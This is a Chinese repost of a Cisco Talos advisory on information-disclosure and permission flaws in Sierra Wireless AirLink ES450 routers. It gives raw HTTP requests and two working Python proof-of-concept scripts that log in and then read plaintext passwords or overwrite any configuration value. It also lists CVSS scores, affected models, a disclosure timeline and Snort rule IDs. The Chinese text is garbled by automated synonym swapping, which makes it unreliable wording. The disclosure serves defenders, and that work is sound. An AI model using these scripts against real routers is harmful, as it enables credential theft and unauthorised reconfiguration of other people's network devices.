Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager Embedded_Ace_Get_Task.cgi功用中存在可以或许被应用的信息走漏破绽。进击者经心组织的HTTP要求可以或许会致使信息走漏,从而致使秘要信息的走漏,包罗但不限于纯文本暗码和SNMP通讯字符串。进击者可以或许发出经由身份考证的HTTP要求,或运转二进制文件来触发此破绽。

11.1 CVSSv3评分

7.7 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

11.2 CWE

CWE-200:信息走漏

11.3 破绽概况

ACEManager是AirLink ES450附带的Web效劳器。该Web效劳器卖力装备中的大多数交互。该Web效劳器具有一些特定的功用,详细包罗:路由、装备重新设置装备摆设、用户身份考证和证书治理。厂商透露表现,默许情况下,没法从蜂窝WAN接见ACEManager Web应用顺序。

我们在AirLink ES450中发明了这一破绽,并举行了相干测试。该破绽极可以或许也会影响AirLink GX450产物。

(1)CVE-2018-4070

EmbeddedAceGet_Task.cgi可实行文件用于在AirLink ES450的设置装备摆设治理器中检索MSCII设置装备摆设值。该二进制文件没有任何受限定的设置装备摆设设置,因而一旦发明MSCIID,任何经由身份考证的用户都可以或许运用/cgi-bin/Embedded_Ace_Get_Task.cgi终端发送设置装备摆设变动。下面的要求展现了用于以纯文本花样检索装备的用户暗码的MSCIID。

 POST /cgi-bin/Embedded_Ace_Get_Task.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Content-Type: text/xml
 Cache-Control: no-cache, must-revalidate
 Pragma: no-cache
 Content-Length: 4
 Cookie: token=fd57b4e137a8f9fe1a3c998fc25b0e1e
 Connection: close
 
 5003

该二进制文件具有-rwxr-xr-x权限,许可二进制文件在Web用户界面以外实行,比方在用户经由历程SSH登录的情况下。这样一来,就就可以或许许可低权限用户检索体系上其他用户的暗码、效劳状况和检索装备上的任何其他设置装备摆设。

(2)CVE-2018-4071

EmbeddedAceTLGet_Task.cgi可实行文件用于在AirLink ES450的设置装备摆设治理器中检索MSCII设置装备摆设值。该二进制文件没有任何受限定的设置装备摆设设置,因而一旦发明MSCIID,任何经由身份考证的用户都可以或许运用/cgi-bin/Embedded_Ace_TLGet_Task.cgi终端发送设置装备摆设变动。下面的要求展现了用于以纯文本花样检索装备用户暗码的MSCIID。

 POST /cgi-bin/Embedded_Ace_TLGet_Task.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Content-Type: text/xml
 Cache-Control: no-cache, must-revalidate
 Pragma: no-cache
 Content-Length: 18
 Cookie: token=fd57b4e137a8f9fe1a3c998fc25b0e1e
 Connection: close
 
 rows=1&colsid=5003

该二进制文件具有-rwxr-xr-x权限,许可二进制文件在Web用户界面以外实行,比方在用户经由历程SSH登录的情况下。这样一来,就就可以或许许可低权限用户检索体系上其他用户的暗码、效劳状况和检索装备上的任何其他设置装备摆设。

11.4 破绽应用观点证实

 #!/usr/bin/env python
 #Author : Carl Hurd, Cisco Talos
 import sys
 import requests
 
 def auth(ip, port, password):
      data = """<request xmlns="urn:acemanager">
      <connect>
      <login>user</login>
      <password><![CDATA[{}]]></password>
      </connect>
      </request>""".format(password)
 
      response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)
 
      try:
           cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])
           return cookies
      except:
           print("Error while authenticating")
           sys.exit(0)
 
 def main():
      if len(sys.argv) < 5 or len(sys.argv) > 5:
           print("Usage : {} [ip address] [port] [password of user] [msciid to get]".format(sys.argv[0]))
           sys.exit(0)
 
      ip = sys.argv[1]
      port = sys.argv[2]
      password = sys.argv[3]
      msciid = sys.argv[4]
 
      print("MSCIID : {}\n".format(msciid))
 
      cookies = auth(ip, port, password)
 
      data = msciid
      response = requests.post("http://"+ip+":"+port+"/cgi-bin/Embedded_Ace_Get_Task.cgi", cookies=cookies, data=data)
 
      print(response.text)
 
 if __name__ == "__main__":
      main()

十二、ACEManager Embedded_Ace_Set_Task.cgi权限分派破绽(CVE-2018-4072 | 4073)

Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager Embedded_Ace_Set_Task.cgi功用中存在可以或许被应用的权限分派破绽。进击者经心组织的HTTP要求可以或许致使恣意设置写入,从而致使对任何体系设置举行未经考证的变动。进击者可以或许发出经由身份考证的HTTP要求,或许以恣意用户身份运转二进制文件,以触发此破绽。

12.1 CVSSv3评分

9.9 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L

12.2 CWE

CWE-732:症结资本的权限分派不准确

12.3 破绽概况

ACEManager是AirLink ES450附带的Web效劳器。该Web效劳器卖力装备中的大多数交互。该Web效劳器具有一些特定的功用,详细包罗:路由、装备重新设置装备摆设、用户身份考证和证书治理。厂商透露表现,默许情况下,没法从蜂窝WAN接见ACEManager Web应用顺序。

我们在AirLink ES450中发明了这一破绽,并举行了相干测试。该破绽极可以或许也会影响AirLink GX450产物。

(1)CVE-2018-4072

EmbeddedAceSet_Task.cgi可实行文件用于变动AirLink ES450设置装备摆设治理器中的MSCII设置装备摆设值。该二进制文件没有任何受限定的设置装备摆设设置,因而,一旦发明MSCIID,任何经由身份考证的用户都可以或许运用/cgi-bin/Embedded_Ace_Set_Task.cgi端点发送设置装备摆设变动。下面的要求,展现了用于变动装备用户暗码的MSCIID。

 POST /cgi-bin/Embedded_Ace_Set_Task.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET        CLR 1.1.4322; .NET CLR 2.0.50215)
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Content-Type: text/xml
 Cache-Control: no-cache, must-revalidate
 Pragma: no-cache
 Content-Length: 15
 Cookie: token=8b61123e579dcaa49a707abc4fcc1016
 Connection: close
 
 5003=password0

该二进制文件具有-rwxr-xr-x权限,许可二进制文件在Web用户界面以外实行,比方在用户经由历程SSH登录的情况下。这样一来,就就可以或许许可低权限用户检索体系上其他用户的暗码、效劳状况和检索装备上的任何其他设置装备摆设。

(2)CVE-2018-4073

除此以外,/cgi-bin/Embeded_Ace_TLSet_Task.cgi的二进制文件是一个异常类似的端点,其设想用于设置表值。以下要求展现了用于变动装备用户暗码的MSCIID。

 POST /cgi-bin/Embedded_Ace_TLSet_Task.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Content-Type: text/xml
 Cache-Control: no-cache, must-revalidate
 Pragma: no-cache
 Content-Length: 28
 Cookie: token=30578cf7228232d357e029347617af5c
 Connection: close
 
 colsid=5003&data=password012

该二进制文件具有-rwxr-xr-x权限,许可二进制文件在Web用户界面以外实行,比方在用户经由历程SSH登录的情况下。这样一来,就就可以或许许可低权限用户检索体系上其他用户的暗码、效劳状况和检索装备上的任何其他设置装备摆设。

12.4 破绽应用观点证实

 #!/usr/bin/env python
 #Author : Carl Hurd, Cisco Talos
 import sys
 import socket
 import time
 import requests
 
 from requests_toolbelt.utils import dump
 
 def auth(ip, port, password):
      data = """<request xmlns="urn:acemanager">
 <connect>
 <login>user</login>
 <password><![CDATA[{}]]></password>
 </connect>
 </request>""".format(password)
 
      response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)
 
      try:
           cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])
           return cookies
      except:
           print("Error while authenticating")
           sys.exit(0)
 
 def main():
      if len(sys.argv) < 6 or len(sys.argv) > 6:
           print("Usage : {} [ip address] [port] [password of user] [msciid to set] [msciid value]".format(sys.argv[0]))
           sys.exit(0)
 
      ip = sys.argv[1]
      port = sys.argv[2]
      password = sys.argv[3]
      msciid = sys.argv[4]
      msciid_val = sys.argv[5]
 
      print("MSCIID : {}\nMSCIID VALUE : {}".format(msciid, msciid_val))
 
      cookies = auth(ip, port, password)
 
      data = msciid + "=" + msciid_val
      response = requests.post("http://"+ip+":"+port+"/cgi-bin/Embedded_Ace_Set_Task.cgi", cookies=cookies, data=data)
 
      print(response.text)
 
 if __name__ == "__main__":
      main()

十三、测试情况

Talos团队测试了Sierra Wireless AirLink ES450 FW 4.9.3,并确认该装备受上述破绽的影响。

十四、受影响的装备

现在已确认,Sierra Wireless的多个装备遭到上述破绽的种种子集的影响,包罗:

· GX400

· ES/GX440

· LS300

· ES/GX450

· MP70

· RV50/50X

· LX40/60X

十五、时候节点

· 2018年12月14日  向厂商表露破绽

· 2018年12月17日  厂商确认破绽

· 2019年1月8日  与厂商针对这些破绽举行议论

· 2019年3月26日  厂商制订了修复和公然表露的时候表

· 2019年4月20日  Talos供应了针对TALOS-2018-0746、TALOS-2018-0751、TALOS-2018-0752、TALOS-2018-0755和TALOS-2018-0756的CVSS评分订正

· 2019年4月25日  公然表露

十六、检测划定规矩

以下SNORT划定规矩将检测该破绽的应用实验。须要注重的是,可以或许会在将来某个日期宣布其他划定规矩,而且依据其他破绽信息的增补,以后划定规矩可以或许会发作变动。有关最新的划定规矩信息,可以或许参阅Firepower治理中心,或接见Snort.org。

Snort划定规矩:48600、48635、48614-48621、48747。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明着名IoT公司Sierra 4G网关产物Wireless AirLink ES450多个破绽详细分析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址